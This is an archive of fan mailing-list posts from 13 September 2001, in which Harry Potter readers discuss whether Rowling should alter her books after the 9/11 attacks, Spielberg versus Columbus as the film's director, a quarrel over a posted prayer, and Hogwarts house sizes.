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From A.E.B.Bevan at open.ac.uk  Thu Sep 13 16:55:50 2001
From: A.E.B.Bevan at open.ac.uk (A.E.B.Bevan at open.ac.uk)
Date: Thu, 13 Sep 2001 16:55:50 -0000
Subject: If you were JKR....
In-Reply-To: <10.125e4c40.28d16f44@aol.com>
Message-ID: <9nqoem+d18g@eGroups.com>

No: HPFGUIDX 26064

I think on the whole no changes will be needed.  One of her themes is 
responsibility and resolve in the face of danger.

My son is 13. He lives apart from me with his mother about 250 miles 
away  and we don't have easy daily communication. On Tuesday I was in 
tears because I couldn't be with him just so we could hug and share 
our thoughts and fears. But I did have a few comforts, one of which 
is that he is an HP fanatic and is alive to the moral themes of the 
books. I think he will get through all this better than otherwise  
because JKR has helped give him some frameworks for working out what 
the world can be like. At least I hope so.

He also has a computer game I quite like called Settlers - a lot of 
it is about building a society peacefully.  I don't like the 
conditions for a win though which involve destroying a neighbouring 
civilisation... in my last letter I told him:

>>> 
After all my mutterings about computer games I really enjoyed playing 
the Settlers game with you
 well up to the time when we let the 
Romans loose to destroy their neighbours anyway! Ubi Solitudinem 
faciunt, pacem appellant  
 where they create a wilderness and call 
it peace
(A quote from a Roman historian called Tacticus, about the 
Roman conquest of south Germany). 
<<<

Somehow I think JKR doesn't think peace comes from creating a 
wilderness either... so I am hopeful for the series from now on too.

Edis





From cynthiaanncoe at home.com  Thu Sep 13 17:07:38 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Thu, 13 Sep 2001 17:07:38 -0000
Subject: Steven Spielberg:  MOVIE & Trailer
In-Reply-To: <11e.4bd2207.28d224bf@aol.com>
Message-ID: <9nqp4q+9tth@eGroups.com>

No: HPFGUIDX 26065

--- In HPforGrownups at y..., Indyfans at a... wrote:
> OK, Speilberg's comments totally make me want to gag.   I 
agree, 'sour 
> grapes', and whatever happened to his wonderful imagination?  I 
know he's 
> doing serious stuff, but when I grow up (I'm 39 !!), I hope I still 
have a 
> sense of joy in all things kids' stuff and fantasy.  

I think a few things were going on for Speilberg.  First, he has 
tried to view himself as a "serious" director lately.  Schindler's 
List and that WWII movie come to mind.  I would think after you've 
done enough fluff and when you have the ability to green-light any 
project you want, you'd pass on HP.  Particularly if JKR insisted up 
front that the movie reflect her vision.

But somehow, I have a feeling that there were major creative 
differences.  It would be just like Speilberg to want to Americanize 
the movie, which would be dreadful.  So in a way, I'm quite glad it 
didn't work out.

Hey, I FINALLY got to see the trailer yesterday.  I had to sit 
through four dreadful previews for other middling-looking kids' films 
before they played it.  I liked it, I really liked it.  My only 
concern may be that if it is too "dark", it may be difficult to 
appreciate the sets and follow what is going on.  We'll see.

Cindy




From borg3892000 at yahoo.com  Thu Sep 13 17:40:11 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Thu, 13 Sep 2001 17:40:11 -0000
Subject: Steven Spielberg
In-Reply-To: <20010913142153.75571.qmail@web13908.mail.yahoo.com>
Message-ID: <9nqr1r+vqp7@eGroups.com>

No: HPFGUIDX 26066

--- In HPforGrownups at y...,   <morgan_793 at y...> wrote:
> Well, since Spielberg's last film was deservedly a critical and
> financial failure, I'd just call it "sour grapes."
> 
>  --- prefectmarcus at y... wrote: > 
> > This is a link to why SS chose not to do the first movie.  It 
seems 
> > it is too easy for him, and it wasn't "real".

I think you are all wrong.  I'm sure it's simply because he didn't 
want to do a movie that matched his initials. 




From heraldtalia at juno.com  Thu Sep 13 17:07:08 2001
From: heraldtalia at juno.com (Herald Talia)
Date: Thu, 13 Sep 2001 13:07:08 -0400
Subject: [HPforGrownups] Re: If you were JKR....
Message-ID: <20010913.130727.-140377.2.HeraldTalia@juno.com>

No: HPFGUIDX 26067



On Thu, 13 Sep 2001 13:14:11 -0000 fourfuries at aol.com writes:
> --- In HPforGrownups at y..., heidi.h.tandy.c92 at a... wrote:
> > And you'd planned out seven entire books, where terrorism, random 
> attacks, 
> > mass murders and violence were - not a subplot, not a theme - an 
> overarching 
> > Thing in the background, and then THIS happened - this horrible, 
> > unpredictable, but not unimaginable THING happened - would you 
> consider 
> > changing any plot points that came too close to what really 
> happened? 

> > If you were the writer, what would you do?
And four furies wrote
> 
> If I were a writer as gifted, in terms of vision, as JKR, I do not 
> think I would have much to change.  There is no need either to mimic 
> 
> events nor to avoid comparisons.  Evil exists, both in fantasy and 
> in 
> reality. The challenge for the writer is to avoid facile 
> descriptions 
> that make all Slytherins evil, or all Gryffindors good, just as the 
> challenge in real life is to avoid stereotyping of Muslims, Arabs, 
> and Americans as all one thing or another.  JKR has already factored 
> 
> for these complexities, already given us a glimpse of the subtleties 
> 
> of human motivation that she is prepared to present in her 
> continuing 
> story.  

First of all, let me say that JKR has been writing these books as
terrible tradgedies have been going on in many parts of the world.
Growing up in GB - she clearly had the context of terrorism over there to
utilize. When you are not in the affected part of the world, terrorism
seems remote and surreal. You hear a statistic - 30 people dead in a
bombing - and it kind of rolls over your head. You don't think of 10
teddy bears that will never be hugged again, ten parents who come home to
empty houses. You don't think of 20 children who will never have someone
to call "Mom" or "Dad" again. You don't think of the individuality of
these people - of the lives torn asunder. 
	But when you actually live in the country where terrorism is a threat,
it's different. It affects you. JKR clearly already made her choice. I'm
speaking as an American who has heard about bombings in GB, but also as a
Jew with relatives in Israel. 

<snip>
> 4FR
>now that our innocense has been lost.

Your innocence has been lost, and you're very lucky to have had it. Other
people, in other parts of the world are not so lucky. I'm sure that JKR
realizes that. I for one, hope she doesn't alter one iota of her books.
They are meaningful only if they reflect real suffering, and real
redemption. 
As Heidi said, i think via Dumbledore's voice, JKR can remind the world
of making choices between what is right and what is easy. She can only do
that if she keeps the books "real"
If I was the writer, that's what I'd do. But as the reader, I can't wait
for the next installment. 
I'm with Frances who wrote: 
>, I realizeThis reminds me very much of what Harry said to Fred and
George at the 
>end of GoF when he gives them the money. We do need to find something 
>to help keep us going in the blackest times and one of the things we do 
>have is our imagination and our ability to create stories which people 
>can enjoy and lose themselves in.

The world became a slightly scarier place on Tuesday. We need more art,
more literature, more writing, to help us cope. 
Robyn



From caliburncy at yahoo.com  Thu Sep 13 18:51:23 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Thu, 13 Sep 2001 18:51:23 -0000
Subject: MOVIE: Steven Spielberg and Chris Columbus
In-Reply-To: <9nqdft+i2jr@eGroups.com>
Message-ID: <9nqv7c+104qq@eGroups.com>

No: HPFGUIDX 26068

Thanks for the link, Marcus.  I'd seen some (?alleged?) comments 
before from Spielberg about why he didn't want to do HP and expected 
this to be the same thing, but it wasn't.

Personally--and I know I may be stepping on some toes here--, I never 
really wanted to see Spielburg direct HP.  I would've been highly 
concerned if he was.  He's a good director, but that's not the point. 
 Everything I've seen seems to indicate to me that he is a very 
opinionated director which is why a lot of people would classify him 
as one of the more visionary directors.  But being opinionated can be 
very problematic if you're supposed to be doing a faithful adaptation. 
 There wouldn't be much of a "personal element" for Spielburg to bring 
and if he tried to add one anyway then he would have to sacrifice the 
adaptation to do so.

Chris Columbus, on the other hand, seems to have been a good, though 
unlikely-seeming choice.  At first I had my reservations since he 
didn't really have the typical sort of background (unless you maybe 
count his screenplays) for this kind of film.  After all, there's 
nothing in Home Alone or Mrs. Doubtfire or even Bicentennial Man to 
give any proof that Columbus possessed any sort of strong visual style 
at all.  But then I said, hold it, you're pigeon-holing him and that's 
not fair, Luke.  Wait it out and give him a chance.  And it seems to 
have worked because of this very reason (the pigeon-holing, not my 
giving him a chance, which he could probably care less about).  
Columbus has something to prove, which can be a powerful motivator 
indeed.  He has to prove that he can break out of his mold and do a 
film that isn't largely fluffy comedy and do it well.  He has to prove 
that when the situation requires it, he can display a strong visual 
style too.  Notice that when he tried to get the job, he made sure 
that he mentioned where he would draw his visual inspiration from.  
And yet, unlike Spielburg or some other directors, he doesn't have to 
feel compelled to prove that it's "A Columbus Film".  It doesn't have 
to be instantly recognizable as him.  This and his seemingly 
less-opinionated nature may make him less visionary, but hopefully 
more suited to being true to someone else's vision: in this case, 
JKR's.

I'm not saying he is a good choice because he is a weak director.  Not 
at all.  From the trailers he appears to have some talent in this 
area--just without the more dangerous kind of personal ambition that 
could jeopardize an adaptation.  And he'll get his chance to 
demonstrate some personal vision as well, no doubt.  Especially, I 
imagine, with the Quidditch scenes.  So on the whole, I refrain from 
final judgment until I see the film, but I am hopeful that he will do 
a good job.

Do I still have reservations?  Yes.  For one thing, I have no doubt 
that somewhere in the movie there will be a single pseudo-cutesy-funny 
moment that will make me cringe.  Whether or not that will originally 
have been Columbus' fault is debatable, but ultimately it is his 
responsibility to fix or cut it and he may instead leave it because 
it's a "family film".  He may even seek it out.  But I'll get over it. 
 Slowly.  With time.

Shutting up,
-Luke




From joym999 at aol.com  Thu Sep 13 19:08:10 2001
From: joym999 at aol.com (Joy M)
Date: Thu, 13 Sep 2001 19:08:10 -0000
Subject: OT : Prayer -- and other Comments
In-Reply-To: <00b201c13c31$7a1efdc0$c500a8c0@mshome.net>
Message-ID: <9nr06q+ej4v@eGroups.com>

No: HPFGUIDX 26069

--- In HPforGrownups at y..., "Hermione" <hermione at p...> wrote:
> Dear Heavenly Father,

[snip]
 
> Please send this to all your friends and create a prayer chain 
throughout
> this nation.

Please don't ask me to pray with you.  I know that, in times like 
these, people take solace in their religion, and that brings them 
strength and hope.  That is a good thing, for them.  But I am not 
religious, and I never have been, and at times like these I am less 
inclined than ever to be so.  What kind of God do you all believe in 
so much that allows lunatics to murder thousands upon thousands of 
people?  The people who crashed those planes yesterday believed in 
God, believed so much that they sacrificed their own lives, and 
countless others, for His glory.  This tragedy has an all too human 
cause, born of our human greed and lack of concern about the terror 
and misery that exist in this world we have created.  Was your God 
trying to teach us a lesson about this?  If so, He probably won't be 
successful, since as far as I can see most people want to respond 
with more killing and hatred.  So, pray if it helps you, but, please 
don't expect me to join you.

--Joywitch





From lotusmoondragon at aol.com  Thu Sep 13 19:07:17 2001
From: lotusmoondragon at aol.com (lotusmoondragon at aol.com)
Date: Thu, 13 Sep 2001 15:07:17 EDT
Subject: [HPforGrownups] OT : Prayer
Message-ID: <23.114acd2e.28d25de5@aol.com>

No: HPFGUIDX 26070

In a message dated 9/13/2001 5:09:14 AM Eastern Daylight Time, 
hermione at pigwidgeon.f9.co.uk writes:


> In the name of our Lord and Savior, Christ Jesus. AMEN

Could you please keep your religion off list, please? I realize we are all in 
shock, but I don't think this is appropriate for a mulit-national, 
mutli-ethnic, and mulit-religious list. 

Thank you,
Lotus


[Non-text portions of this message have been removed]




From klaatu at primenet.com  Thu Sep 13 19:18:52 2001
From: klaatu at primenet.com (Sister Mary Lunatic)
Date: Thu, 13 Sep 2001 12:18:52 -0700
Subject: Condolences for victims from other countries
Message-ID: <MABBJPGEHBDBAKHGIBPOAEPDEFAA.klaatu@primenet.com>

No: HPFGUIDX 26071

As an American, I am deeply touched by the expressions of sorrow and
sympathy from listmembers from other countries around the world.  But I
would also remind everyone that the World Trade Center not only was the
workplace of many non-Americans, but also a major tourist attraction for
foreign visitors.  It may be days or weeks before people from other
countries around the world are aware of the heavy death toll on their own
citizens who had the misfortune to be in the building during the attacks.
The Washington Post, I know, has published a list of tenants of the two
towers, which shows the international nature of the businesses housed in the
World Trade Center :

http://a188.g.akamaitech.net/f/188/920/15m/www.washingtonpost.com/wp-srv/nat
ion/articles/tower1.html

or go to

http://www.washingtonpost.com/ and scroll down to bottom left of the main
page under "World Trade Center Firms"

I want to convey my condolences to the citizens of ALL nations who have lost
friends or family in this attack upon the WORLD community.  It is not just
an American tragedy.

SML


==================================




From magpie1112 at yahoo.com  Thu Sep 13 19:26:42 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Thu, 13 Sep 2001 19:26:42 -0000
Subject: My Brothers and Sisters/Survivor Info
In-Reply-To: <9nnmeg+7ps3@eGroups.com>
Message-ID: <9nr19i+g0ri@eGroups.com>

No: HPFGUIDX 26072

Oh Michelle - my heart (and prayers) go out to emergency personnel 
doing their best in these horrible circumstances.  Just in case, here 
is a site that has survivor information:

http://wtc.ny.com/

Sorry if it's been posted before - I just want to make sure it gets 
out to people who may need it.

- Denise


--- In HPforGrownups at y..., "M. Barnett" <fyregirl at c...> wrote:
> Yesterday in NYC I lost possibly hundreds of Brothers and Sisters.  
> My Brothers and SIsters went rushing in to help the injured and 
> rescue the trapped and recover the bodies when the first plane 
hit.  
> Then the second plane hit.  They had no warning, just like the 
> civilians that died.  Before the debris stopped falling, they were 
> back in the first building and already into the second building to 
do 
> their jobs.  
> 
> In the Fire Service we have 3 main objectives on the scene of any 
> call.
> 
> #1 ... Life Safety.
> #2 ... Incident Stabilization.
> #3 ... Property conservation.
> 
> I think they knew there wasn't much they could do to save the top 
end 
> of the buildings, but they sure as hell weren't giving up trying to 
> find those trapped above the crash site.  They knew, as I did 
> watching it on TV, that the buildings were going to collapse.  Yet 
> they stayed.  They stayed and helped so many people.  And now, so 
> many of them are dead.
> 
> The Fire Service has lost many of its Brothers and Sisters 
yesterday, 
> and even into today.  I know you are all praying (I use that term 
> loosely, as that's not what we all do) for the victims, their 
> families and our country, but please, add a special bit about all 
the 
> Firefighters, EMS workers, and Police Officers that lost their 
> lives ... so that others may live.
> 
> Michelle Barnett, Firefighter...




From prefectmarcus at yahoo.com  Thu Sep 13 19:37:08 2001
From: prefectmarcus at yahoo.com (prefectmarcus at yahoo.com)
Date: Thu, 13 Sep 2001 19:37:08 -0000
Subject: MOVIE: Steven Spielberg and Chris Columbus
In-Reply-To: <9nqv7c+104qq@eGroups.com>
Message-ID: <9nr1t4+ibjr@eGroups.com>

No: HPFGUIDX 26073

--- In HPforGrownups at y..., caliburncy at y... wrote:

> Personally--and I know I may be stepping on some toes here--, I 
never 
> really wanted to see Spielburg direct HP.  I would've been highly 
> concerned if he was.  He's a good director, but that's not the 
point. 
>  Everything I've seen seems to indicate to me that he is a very 
> opinionated director which is why a lot of people would classify 
him 
> as one of the more visionary directors.  But being opinionated can 
be 
> very problematic if you're supposed to be doing a faithful 
adaptation. 

> -Luke

I think you hit the nail on the head.  Spielberg seems to have gotten 
to the point that everything he does has to have "his vision" in it.  
He really doesn't do faithful adapatations.

Don't get me wrong, he is an extremely talented and skilled 
director.  However, he would be required to "not be Spielberg" to do 
HP right, and I have my doubts he could do it.

Columbus, on the other hand, is perfectly comfortable working with 
Rowling's vision.  He isn't so eager to give it "the Columbus touch."


Marcus





From fourfuries at aol.com  Thu Sep 13 19:40:10 2001
From: fourfuries at aol.com (fourfuries at aol.com)
Date: Thu, 13 Sep 2001 19:40:10 -0000
Subject: If I were you....
In-Reply-To: <20010913.130727.-140377.2.HeraldTalia@juno.com>
Message-ID: <9nr22q+ta3b@eGroups.com>

No: HPFGUIDX 26074

--- In HPforGrownups at y..., Herald Talia <heraldtalia at j...> wrote:
> 
> On Thu, 13 Sep 2001 13:14:11 -0000 fourfuries at a... writes:
> > --- In HPforGrownups at y..., heidi.h.tandy.c92 at a... wrote:

> When you are not in the affected part of the world, terrorism
> seems remote and surreal. You hear a statistic - 30 people dead in a
> bombing - and it kind of rolls over your head. You don't think of 10
> teddy bears that will never be hugged again, ten parents who come  
> home to empty houses. You don't think of 20 children who will never 
> have someone to call "Mom" or "Dad" again. You don't think of the  
> individuality of these people - of the lives torn asunder. 
> 	But when you actually live in the country where terrorism is 
> a threat, it's different. It affects you. JKR clearly already made 
> her choice. I'm speaking as an American who has heard about        
> bombings in GB, but also as a Jew with relatives in Israel. 
 

  Please, beloved friend, let us not start measuring who best relates 
to the pain of these tragedies.  Right now, the whole world is united 
in empathy.  Caring is not the province of any one nation, or people 
or even of just the survivors of similar horrors.
  I agree that people in other parts of the world are more sensitized 
to the risks of sudden, irrational violence stemming for socio 
political groups.  I do not think it means that the rest of the world 
is necessarily more sensitive.
  I think that one's emotional reaction is an individual perspective.
Some people cried from the very first report.  I didn't cry until 7 
hours into the ordeal, when I realized how woefully unprepared my 
country is to fight this kind of terrorism.

> Your innocence has been lost, and you're very lucky to have had it. 
> Other people, in other parts of the world are not so lucky. 

  As for lost innocense, I wasn't being personal.  I was speaking for 
a nation that occassionally forgets that love, honor, justice and 
freedom must be fought for in every generation.  For the reasons 
stated above, I will not recite the events that brought an end to my 
innocense, but it wasn't this experience.
  I, like many others, have been wondering how long it would be 
before such evil found its way to american shores, before the average 
american had to face the reality that while we may be invincible, we 
are not untouchable.  I await with much anticipation how the Land of 
the Free will react to this assault on its very person.

> I think JKR realizes this.  I ...hope she doesn't alter...her books.
> They are meaningful only if they reflect real suffering, and real
> redemption...The world became a slightly scarier place on Tuesday.  
> We need more art, more literature, more writing, to help us cope. 

I now and from the beginning have agreed with you, that JKR need 
change nothing for my taste; I urge you find no quarrel with me.  We 
are on the same team, playing from a new playbook, but out to win the 
same game.  If the world is a bit scarier, then the people of the 
United States are now a bit wiser, more mature, and better able to 
handle it.


4FR Convinced of the Indomitabilty of the Human Spirit.





From magpie1112 at yahoo.com  Thu Sep 13 19:39:57 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Thu, 13 Sep 2001 19:39:57 -0000
Subject: Dorms/Differences in house size
In-Reply-To: <9no7an+11v6@eGroups.com>
Message-ID: <9nr22d+jilr@eGroups.com>

No: HPFGUIDX 26075

--- In HPforGrownups at y..., borg3892000 at y... wrote:
> --- In HPforGrownups at y..., "Sofie " <sofie_elisabeth at y...> wrote:
> > --- In HPforGrownups at y..., Vicky DeGroote <degroote at a...> wrote:
> > > I meant to type 1000 students at Hogwarts, not 100.  I've read 
al 
> > ot of this about how many students, but maybe didn't get far 
enough 
> > to read abou the dorms.
> > > 
> > > Oops-sorry
> > > Kitty
> > > 
> > Personally I prefer Angie J's theory thta Harry's year is small 
> > due to the war. People of child-bearing age were fighting and a 
> > lot of them were probably killed. That leaves less people to have 
> > children and so then you get less children (from magical families 
> > anyway).
> 
> I've been wondering about this for a while, myself.
> 
> In reading COS again, (for the umpteenth time), it hit me that 
> perhaps the houses aren't the same size.  


Brilliant idea, Borg!  I too assumed that the houses were all the 
same size.  That could also explain the reason why Griffindor & 
Slytherin are placed in classes together.  I can't remember if I've 
ever seen a Ravenclaw or a Hufflepuff sharing a class, either with 
Griffindors or Slytherins.  If the bulk of Hogwarts is made up of R's 
& H's, it would certainly "puff" up the numbers.  

And I wouldn't discount the "war = fewer children" theory, either.  
If that is the case, I wonder if there was a "wizard boom" a year or 
so after the war?  Perhaps Ginny's class (and the next few classes 
after) are larger?

- Denise (who was never very good with numbers, anyway)




From pennylin at swbell.net  Thu Sep 13 20:12:48 2001
From: pennylin at swbell.net (Penny & Bryce)
Date: Thu, 13 Sep 2001 15:12:48 -0500
Subject: ADMIN: Tolerance
Message-ID: <3BA11340.9030309@swbell.net>

No: HPFGUIDX 26076

Hi everyone --

We Moderators have agreed to not strictly adhere to our everyday group 
rules for the time being.  This is a time when many of us, although 
perhaps the Americans in particular, are coping with shock and deep 
tragedy.  It would be good if all members would remember that some of us 
are expressing very raw emotions -- some posters may be just venting or 
expressing emotion more than attempting to establish any real dialogue 
with others.

We *are* a diverse group. While we should all be mindful of the 
diversity, I don't believe it is necessary to completely stifle 
expression at a time like this.  Please just continue to use common 
sense in creating your messages.

I've been quiet, as have many of our regular posters.  I expect we'll 
get back to HP in full force when it seems appropriate.  In the 
meantime, my thoughts and prayers remain with those who have suffered 
losses and with those in the worldwide community, which is forever 
changed by these events IMO.

Thanks,

Penny
Magical Mod Squad




From fourfuries at aol.com  Thu Sep 13 20:18:36 2001
From: fourfuries at aol.com (fourfuries at aol.com)
Date: Thu, 13 Sep 2001 20:18:36 -0000
Subject: Prayer ( Defintely On Topic)
In-Reply-To: <9nr06q+ej4v@eGroups.com>
Message-ID: <9nr4as+dh21@eGroups.com>

No: HPFGUIDX 26077

--- In HPforGrownups at y..., "Joy M" <joym999 at a...> wrote:
> --- In HPforGrownups at y..., "Hermione" <hermione at p...> wrote:
> > Dear Heavenly Father,
>  
> > Please ... create a prayer chain throughout this nation.
> 
> Please don't ask me to pray with you.  I know that, in times like 
> these, people take solace in their religion, and that brings them 
> strength and hope.  That is a good thing, for them.  But I am not 
> religious, and I never have been, and at times like these I am less 
> inclined than ever to be so.  

I am the last person that would ask another to pray, and knew when I 
saw the original post that someone would react badly. However, let's 
clarify a few things early, keeping on topic while we are at it, so 
that a flamer doesn't erupt now, at the least propitious moment.


> What kind of God do you all believe in 
> so much that allows lunatics to murder thousands upon thousands of 
> people?

The supreme challenge facing every living human being is the fact 
that we each enjoy absolute free will.  That is what the battle over 
good and evil is all about.  Good is the voluntary restraint from 
certain actions and activities that we are perfectly capable of 
engaging in.  Evil is the indulgence of those selfish tendencies that 
prevent us from showing restraint.  (See Minerva's comments to 
Dumbledore about the difference between Voldemort and Dumbledore's 
powers in the very beginning of PS/SS).

> The people who crashed those planes yesterday believed in 
> God, believed so much that they sacrificed their own lives, and 
> countless others, for His glory.

You are exactly right.  Part of the problem of free will is that we 
are free to convince ourselves of anything, and once convinced, no 
amount of facts or evidence an change our minds.  Barty Crouch and 
Cornelius Fudge both come to mind.  Truth, however, which is 
something more than facts or evidence, usually wins out.  It is to 
this truth that the supplicants of all peaceful religions appeal, 
that the superiority of patience, mercy, love and understanding be 
made plain and enjoy a vcitory over wrath, hatred, envy, etc.

> This tragedy has an all too human 
> cause, born of our human greed and lack of concern about the terror 
> and misery that exist in this world we have created.  Was your God 
> trying to teach us a lesson about this?  

"God", in the sense you seem to mean it, doesn't set up tragedies in 
order to teach us lessons.  Rather "He" is more concerned with 
helping us learn the right lessons from the things we choose teach 
ourselves.  Man is more than capable of generating evil.  Therefore 
no "god" need be responsible for the evils of the world.  It just 
goes with the territory when one becomes aware of the knowledge of 
Good and Evil, and has the power to exercise either.

As for greed, lack of concern, terror and misery and the world we 
have created, if there is a God and he cares that we learn the right 
lessons, then I certainly want him to know that I am in learning mode 
after a tragedy like this.  I am open to instruction.  That is what 
prayer is about.  It is an attempt to silence the mind, will and ego 
long enough to hear that "still, small voice" that some regard as 
belonging to conscience, some as belonging to truth, some to reason 
and some to the Father of Creation.

> If so, He probably won't be successful, since as far as I can see  
> most people want to respond with more killing and hatred.   So,  
> pray if it helps you, but, please don't expect me to join you. 
> --Joywitch

What the people desire is vengeance, victory and peace.  What the 
people pray for is wisdom, patience, love and understanding.  To the 
extent that the later inform the former, He may already have been 
successful.  In fact, he may have just used you to help make some 
important points.  Some where in this world, people are considering 
the points you have made, and adjusting their politics and their 
theologies accordingly.

So whether you pray or not, those of us in the community of faith 
value your spirited contribution, love you for what you have done, 
and count your spirit as aligned with ours in our prayer for peace 
and wisdom.

4FR On Topic






From blpurdom at yahoo.com  Thu Sep 13 20:52:18 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Thu, 13 Sep 2001 20:52:18 -0000
Subject: MOVIE (SS vs. Columbus)/Distribution of students in houses
Message-ID: <9nr6a2+tm5s@eGroups.com>

No: HPFGUIDX 26078

Warning: This is dangerously on-topic.  Brace yourselves.

Luke wrote:

Personally--and I know I may be stepping on some toes here--, I never 
really wanted to see Spielburg direct HP. I would've been highly 
concerned if he was. He's a good director, but that's not the point. 
Everything I've seen seems to indicate to me that he is a very
opinionated director which is why a lot of people would classify him 
as one of the more visionary directors. But being opinionated can be 
very problematic if you're supposed to be doing a faithful 
adaptation. [snippage] Chris Columbus, on the other hand, seems to
have been a good, though unlikely-seeming choice. At first I had my 
reservations since he didn't really have the typical sort of 
background (unless you maybe count his screenplays) for this kind of 
film. After all, there's nothing in Home Alone or Mrs. Doubtfire or 
even Bicentennial Man to give any proof that Columbus possessed any 
sort of strong visual style at all.  

Barb now: 

I'd like to use an analogy here that is debated often in the field 
I'll be entering when I'm eventually done my studies: 
architecture/design.  There are a number of designers who will
create a structure and never leave you in any doubt as to who the 
designer is.  Their stamp is on it in an unmistakable way.  And if it 
has always been your dream to live or work in a structure designed by 
Frank Gehry, or Robert A.M. Stern or the Hariri sisters or Alison
Spear or Venturi Scott Brown or Michael Graves or Peter Marino that's 
GREAT!  But if you want a design that reflects you and your tastes 
and preferences, you might do better to look for a designer who does 
not have a reputation for always doing work that looks the same, who 
lets the client's aesthetic shine through, and who, to all intents and
purposes, does not seem to have a style "stamp."  In other words, I 
support the choice of Columbus because he stands a chance of being 
able to "channel" Harry and JKR for the viewer, not Chris Columbus.  
I love what I've seen so far and I'm waiting with baited breath for 
November 16.

Denise wrote: 

I too assumed that the houses were all the same size. That could also 
explain the reason why Griffindor & Slytherin are placed in classes 
together. 

Barb now:

While I think the classes of kids born during the Voldemort years 
stand a good chance of being smaller (birth years 1972-1981--1970 and 
1971 seem too early for people to panic about having kids, even 
though Voldemort was active for those two years) I think that
these years would have fewer kids across all four houses and that it 
is unlikely that most of the students are Ravenclaws and Hufflepuffs.

My reasoning lies in the House Cup competition.  If there were more 
students in the other houses, Ravenclaw and Hufflepuff would have 
more opportunities to acquire points through academic excellence, 
among other things (especially the brainy Ravenclaws).  As
the competition usually seems to come down to Slytherin vs. 
Gryffindor, which under this theory would have the fewest students, 
an imbalance of students in the houses seems unlikely.

--Barb






From cynthiaanncoe at home.com  Thu Sep 13 20:53:58 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Thu, 13 Sep 2001 20:53:58 -0000
Subject: MOVIE: Steven Spielberg and Chris Columbus
In-Reply-To: <9nqv7c+104qq@eGroups.com>
Message-ID: <9nr6d6+s3k8@eGroups.com>

No: HPFGUIDX 26079

--- In HPforGrownups at y..., caliburncy at y... wrote:
> 
> Personally--and I know I may be stepping on some toes here--, I 
never 
> really wanted to see Spielburg direct HP.  I would've been highly 
> concerned if he was.  He's a good director, but that's not the 
point. 
>  Everything I've seen seems to indicate to me that he is a very 
> opinionated director which is why a lot of people would classify 
him 
> as one of the more visionary directors.  But being opinionated can 
be 
> very problematic if you're supposed to be doing a faithful 
adaptation. 


Once again, Luke, you captured entirely what I wanted to convey.  
I'll add this, though.  I think it speaks very well of JKR that she 
didn't just go with the biggest name or the person with the biggest 
string of box office success.  Or even any big names for major roles 
(or at least, big names here in the States).  There's a measure of 
security with making a decision in that way.

What takes guts is figuring out who has the right skill set and 
motivation to do the job right.  Often, the best person is NOT the 
person with the biggest name.  Once again, it all just shows how 
clever JKR is.

Then again, perhaps I am gushing a bit prematurely given that film 
has not been completed.  But I can certainly imagine how dreadful it 
could have been.  Wow.  Imagine Drew Barrymore as McGonnagall, Robin 
Williams as Snape, William Hurt as Voldemort, Haley Joel Osmond as 
Harry, Charlton Heston as Dumbledore, Gary Coleman as Flitwick.  The 
horror!  :)

Cindy 




From hermione at pigwidgeon.f9.co.uk  Thu Sep 13 20:57:26 2001
From: hermione at pigwidgeon.f9.co.uk (Hermione)
Date: Thu, 13 Sep 2001 21:57:26 +0100
Subject: [HPforGrownups] Re: OT : Prayer -- and other Comments
References: <9nr06q+ej4v@eGroups.com>
Message-ID: <007101c13c96$b1e7bd40$c500a8c0@mshome.net>

No: HPFGUIDX 26080

Look for all those who don't follow religion or go by a differnt religion
ignore it, but don't bit back at me because I wanted to send something
comforting to those who need it!!!!

----- Original Message -----
From: "Joy M" <joym999 at aol.com>
To: <HPforGrownups at yahoogroups.com>
Sent: Thursday, September 13, 2001 8:08 PM
Subject: [HPforGrownups] Re: OT : Prayer -- and other Comments


> --- In HPforGrownups at y..., "Hermione" <hermione at p...> wrote:
> > Dear Heavenly Father,
>
> [snip]
>
> > Please send this to all your friends and create a prayer chain
> throughout
> > this nation.
>
> Please don't ask me to pray with you.  I know that, in times like
> these, people take solace in their religion, and that brings them
> strength and hope.  That is a good thing, for them.  But I am not
> religious, and I never have been, and at times like these I am less
> inclined than ever to be so.  What kind of God do you all believe in
> so much that allows lunatics to murder thousands upon thousands of
> people?  The people who crashed those planes yesterday believed in
> God, believed so much that they sacrificed their own lives, and
> countless others, for His glory.  This tragedy has an all too human
> cause, born of our human greed and lack of concern about the terror
> and misery that exist in this world we have created.  Was your God
> trying to teach us a lesson about this?  If so, He probably won't be
> successful, since as far as I can see most people want to respond
> with more killing and hatred.  So, pray if it helps you, but, please
> don't expect me to join you.
>
> --Joywitch
>
>
>
>
> _______ADMIN________HPFGU_______ADMIN__________
>
> Attention everyone! Before posting, you must read our netiquette tips at
>
http://groups.yahoo.com/group/HPforGrownups/files/Admin%20Files/netiquetteTI
PS.htm
>
> You should also read the Very Frequently Asked Questions file (VFAQ) at
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and check out our FAQ-based essays at:
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>
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>
>




From s_ings at yahoo.com  Thu Sep 13 16:13:13 2001
From: s_ings at yahoo.com (Sheryll Townsend)
Date: Thu, 13 Sep 2001 09:13:13 -0700 (PDT)
Subject: What Barb wrote (was: [HPforGrownups] Re: If you were JKR....)
In-Reply-To: <9nqdnl+91j8@eGroups.com>
Message-ID: <20010913161313.71095.qmail@web14610.mail.yahoo.com>

No: HPFGUIDX 26081


--- blpurdom at yahoo.com wrote:
> 
> Well, as you know, Heidi, I did write a fic with
> terrorism and murder 
> in it.  I thought of that as I watched the coverage
> of the rescue 
> efforts.  

Yes, Barb, you wrote very eloquently. Nyssa came home
from school looking for the chapter of Pyschic Serpent
yesterday. It seems that her World Issues class had
been discussing terrorism and something her teacher
said about survivor guilt was exactly what you had
written. 

On my own note, I had gone back and re-read that bit
after someone mentioned it online. I found it very
moving the first time I had read it, this time it
brought tears.

Sheryll, in the chat room if anyone needs to talk today

=====
"Do not meddle in the affairs of dragons, for thou art crunchy and taste good with ketchup."

__________________________________________________
Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/



From prefectmarcus at yahoo.com  Thu Sep 13 20:29:23 2001
From: prefectmarcus at yahoo.com (prefectmarcus at yahoo.com)
